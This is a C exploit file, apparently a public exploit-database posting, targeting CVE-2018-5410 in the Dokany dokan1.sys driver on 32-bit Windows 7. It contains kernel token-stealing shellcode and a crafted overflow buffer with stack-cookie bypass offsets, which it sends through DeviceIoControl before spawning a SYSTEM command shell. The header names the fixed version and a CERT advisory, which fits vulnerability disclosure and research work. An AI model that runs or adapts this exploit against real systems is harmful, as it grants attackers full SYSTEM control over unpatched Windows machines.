1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158 | /*
Exploit Title - Dokany Stack-based Buffer Overflow Privilege Escalation
Date - 14th January 2019
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://dokan-dev.github.io
Tested Version - 1.2.0.1000
Driver Version - 1.2.0.1000 - dokan1.sys
Software package - https://github.com/dokan-dev/dokany/releases/download/v1.2.0.1000/DokanSetupDbg_redist.exe
Tested on OS - 32bit Windows 7
CVE ID - CVE-2018-5410
Vendor fix url - https://github.com/dokan-dev/dokany/releases/tag/v1.2.1.1000
CERT/CC Vul note - https://www.kb.cert.org/vuls/id/741315
Fixed Version - 1.2.1.1000
Fixed driver ver - 1.2.1.1000
Check blogpost for details:
https://www.greyhathacker.net/?p=1041
*/
#include <stdio.h>
#include <windows.h>
#define BUFSIZE 896
// Windows 7 SP1
#define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct
#define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct
#define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct
BYTE token_steal_w7[] =
{
0x60, // pushad Saves all registers
0x64,0xA1,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS
0x8b,0xc8, // mov ecx, eax Current _EPROCESS structure
0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN
0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
0x75,0xe8, // jne ----
0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX
0x89,0x91,0xF8,0x00,0x00,0x00, // mov [ecx+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
0x61, // popad Restores all registers
0x81,0xc4,0x3c,0x0b,0x00,0x00, // add esp,0xB3c Target frame to return
0x31,0xc0, // xor eax,eax NTSTATUS -> STATUS_SUCCESS
0x5d, // pop ebp Restore saved EBP
0xc2,0x08,0x00 // ret 8 Return cleanly
};
int spawnShell()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if (!CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
return -1;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
int main(int argc, char *argv[])
{
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
BYTE *inbuffer;
LPVOID addrtoshell;
printf("-------------------------------------------------------------------------------\n");
printf(" Dokany (dokan1.sys) Stack-based Buffer Overflow Cookie Bypass EoP Exploit \n");
printf(" Tested on 32bit Windows 7 \n");
printf("-------------------------------------------------------------------------------\n");
addrtoshell = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(addrtoshell == NULL)
{
printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
return -1;
}
memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7));
printf("\n[i] Size of shellcode %d bytes", sizeof(token_steal_w7));
printf("\n[i] Shellcode located at address 0x%p", addrtoshell);
inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(inbuffer == NULL)
{
printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
return -1;
}
memset(inbuffer, 0x41, BUFSIZE);
printf("\n[i] Buffer located at address 0x%p", inbuffer);
printf("\n[i] Size of total input buffer being sent %d bytes", BUFSIZE);
*(WORD*)(inbuffer) = BUFSIZE; // Size of buffer used by memcpy
*(WORD*)(inbuffer + 2) = BUFSIZE-6; // Size of input buffer, value has to be at most BUFSIZE - 6
*(DWORD*)(inbuffer + 776) = 0x42424242; // cookie
*(DWORD*)(inbuffer + 784) = 0x43434343; // return
*(DWORD*)(inbuffer + 792) = 0x44444444; // IRP
// *(DWORD*)(inbuffer + 892) = 0x45454545; // Exception handler
*(DWORD*)(inbuffer + 892) = (ULONG)addrtoshell; // Shellcode
sprintf(devhandle, "\\\\.\\%s", "Dokan_1");
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}
printf("\n[~] Press any key to continue . . .\n");
getch();
DeviceIoControl(hDevice, 0x00222010, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL);
printf("[*] Spawning SYSTEM Shell\n");
spawnShell();
CloseHandle(hDevice);
return 0;
}
|